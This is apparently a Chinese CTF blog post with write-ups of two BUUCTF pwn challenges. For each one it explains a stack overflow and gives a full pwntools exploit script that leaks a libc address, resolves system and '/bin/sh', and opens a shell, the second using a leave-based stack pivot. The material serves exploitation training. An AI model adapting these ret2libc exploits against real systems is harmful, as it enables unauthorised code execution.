zoukankan      html  css  js  c++  java
  • 从前偷懒的日子-2021.4.15

    (1)铁人三项(第五赛区)_2018_rop1


    程序如上,很明显的栈溢出漏洞,然后查看函数表:

    因此推断需要泄露libc的地址。
    利用思路如下:
    (1)利用栈溢出漏洞执行write函数泄露__libc_start_main地址并且返回主函数。
    (2)推断出system的函数地址和’/bin/sh‘的地址。
    (3)然后再次利用栈溢出获得sh
    利用代码如下:

    from LibcSearcher import *
    context.log_level='debug'
    r=process('./2018_rop')
    r=remote('node3.buuoj.cn',27934)
    elf=ELF('./2018_rop')
    write_plt=elf.plt['write']
    maingot=elf.got['__libc_start_main']
    main=elf.sym['main']
    payload='a'*(0x88+4)
    +p32(write_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(1).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")+p32(4).decode("iso-8859-1")
    r.sendline(payload)
    main_addr=u32(r.recv(4))
    print(hex(main_addr))
    libc=LibcSearcher('__libc_start_main',main_addr)
    print(libc)
    offer=main_addr-libc.dump('__libc_start_main')
    print(hex(offer))
    systemadd=offer+libc.dump('system')
    print(hex(systemadd))
    binadd=offer+libc.dump('str_bin_sh')
    print(hex(binadd))
    payload='a'*140+p32(systemadd).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(binadd).decode("iso-8859-1")
    r.sendline(payload)
    r.interactive()
    

    (2)[Black Watch 入群题]PWN1(知识点:leave,泄露libc)

    程序代码如下:

    可以看到是一个明显的溢出漏洞,但是要注意到该漏洞溢出的数目非常小,只能刚好覆盖返回地址,所以要用到leave这个技术,而上面的s的存储地址是在bss代码段,于是提供了环境。函数表如图:

    可以看到还需要libc。
    综上所述,利用思路如下:
    (1)将leave后的泄露libc的代码写入s中,然后leave,并且返回主函数重复执行。
    (2)再进行一次leave执行system(“/bin/sh”)
    利用代码如下:

    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    r=process('./桌面/spwn')
    # r=remote('node3.buuoj.cn',28183)
    elf=ELF('./桌面/spwn')
    put_plt=elf.plt['puts']
    # print(hex(put_plt))
    write_plt=elf.plt['write']
    # putgot=elf.got['puts']
    maingot=elf.got['__libc_start_main']
    main=elf.sym['main']
    leveadd=0x08048511
    sadd=0x0804a300
    r.recvuntil('What is your name?')
    # payload1=p32(write_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(1).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")+p32(4).decode("iso-8859-1")
    payload1=p32(put_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")
    r.send(payload1)
    r.recvuntil('What do you want to say?')
    payload2='a'*24+p32(sadd-4).decode('iso-8859-1')+p32(leveadd).decode('iso-8859-1')#+p32(put_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")
    print(payload2)
    gdb.attach(r)
    r.send(payload2)
    main_addr=u32(r.recv(4))
    print(hex(main_addr))
    libc=LibcSearcher('__libc_start_main',main_addr)
    # print(libc)
    offer=main_addr-libc.dump('__libc_start_main')
    # # print(hex(offer))
    systemadd=offer+libc.dump('system')
    print(hex(systemadd))
    binadd=offer+libc.dump('str_bin_sh')
    print(hex(binadd))
    r.recvuntil('ame?')
    payload1=p32(systemadd).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(binadd).decode("iso-8859-1")
    r.sendline(payload1)
    r.recvuntil('want to say?')
    r.send(payload2)
    r.interactive()
    
  • 相关阅读:
    SQLSERVER查询数据库文件大小
    SQLSERVER 检查内容
    20万DBA都在关注的12个问题 [转载]
    oswbb工具分析主机性能
    Suspending MMON slave action kewrmapsa_ for 82800 seconds
    一次direct path read 故障处理
    Auto Optimizer Stats Collection in 12c
    ORACLE 动态注册和静态注册的区别(转)
    记一次cursor pin s wait on X的处理
    树莓派3b的raspberrypi系统安装pip
  • 原文地址:https://www.cnblogs.com/ring3toring0/p/14663212.html
Copyright © 2011-2022 走看看